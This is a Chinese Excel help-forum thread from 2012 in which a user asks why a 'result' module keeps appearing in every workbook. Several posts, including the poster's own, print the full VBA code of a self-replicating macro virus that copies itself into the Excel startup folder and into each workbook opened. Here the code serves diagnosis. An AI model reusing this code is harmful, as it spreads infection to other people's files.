Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 4566|回复: 22

[已解决]为什么每次都会自动插入一个模块

[复制链接]
发表于 2012-8-30 12:15 | 显示全部楼层 |阅读模式
本帖最后由 东门吹雪 于 2012-8-30 15:03 编辑

为什么每次新建一个工作簿或是打开EXCEL文件,在其VBE编辑器中都会自动插入一个模块?,名为result,而且双击此模块还有一大堆自动生成的代码,这是怎么回事呀?请大家帮忙解释下,谢谢!
最佳答案
2012-8-30 13:08
没有的话会自己建的。你看看DOCUMENTS下面,WIN7的话就是用户文件夹下,多找找。
(, 下载次数: 40)

未命名.rar

64.73 KB, 下载次数: 11

新建 Microsoft Excel 工作表.rar

3.86 KB, 下载次数: 9

excel精英培训的微信平台,每天都会发送excel学习教程和资料。扫一扫明天就可以收到新教程
发表于 2012-8-30 12:27 | 显示全部楼层
想看下模块里边的代码来着...结果我下附件了以后打开文件是正常的.并没有自动添加RESULT模块.
等待高手解答
回复

使用道具 举报

 楼主| 发表于 2012-8-30 12:31 | 显示全部楼层
rebornxldeng 发表于 2012-8-30 12:27
想看下模块里边的代码来着...结果我下附件了以后打开文件是正常的.并没有自动添加RESULT模块.
等待高手解答 ...

我把代码的图片已经截图了,我电脑里就是这个样子,打开或是新建都会自动插入一个模块,太奇怪了!
回复

使用道具 举报

发表于 2012-8-30 12:35 | 显示全部楼层
本帖最后由 hwc2ycy 于 2012-8-30 12:38 编辑

杀了宏病毒没?
附件下下来没有你说的模块了。
回复

使用道具 举报

 楼主| 发表于 2012-8-30 12:37 | 显示全部楼层
hwc2ycy 发表于 2012-8-30 12:35
杀了宏病毒没?

没有杀宏毒,这个不会是宏毒吧!
回复

使用道具 举报

发表于 2012-8-30 12:38 | 显示全部楼层
hwc2ycy 发表于 2012-8-30 12:35
杀了宏病毒没?

看代码不像是宏病毒... ...虽然我也没有看完全部代码.
回复

使用道具 举报

发表于 2012-8-30 12:40 | 显示全部楼层
你看看加载项里面,你把加载的全取消,再试试。
或者截张加载的图就知道了。
回复

使用道具 举报

发表于 2012-8-30 12:43 | 显示全部楼层
本帖最后由 rebornxldeng 于 2012-8-30 12:53 编辑

班长.咱们合作一下.看能不能帮这位童鞋解决这个问题
Sub auto_open()
      Application.OnSheetActive = "ck_files"       自动打开命令.在工作表被激活时即自动运行 ck_files 程序
End Sub

ck_files会生成一个名为 RESULT.XLS的工作薄...(这个东东好像很关键)...中间的代码太多.一时无法全部解读
回复

使用道具 举报

 楼主| 发表于 2012-8-30 12:53 | 显示全部楼层
本帖最后由 蓝火雨 于 2012-8-30 12:55 编辑
hwc2ycy 发表于 2012-8-30 12:40
你看看加载项里面,你把加载的全取消,再试试。
或者截张加载的图就知道了。


加载宏里面本来就是全部取消的,你看下我截的图

Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub
未命名.JPG
回复

使用道具 举报

发表于 2012-8-30 12:54 | 显示全部楼层
本帖最后由 rebornxldeng 于 2012-8-30 12:57 编辑

你在电脑里搜索一下,有没有一个叫RESULT.XLS的文件.
感觉这段代码本身能进行一个 带分支结构的循环... ...应该可以找到突破口的.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-4-26 08:14 , Processed in 0.768233 second(s), 16 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表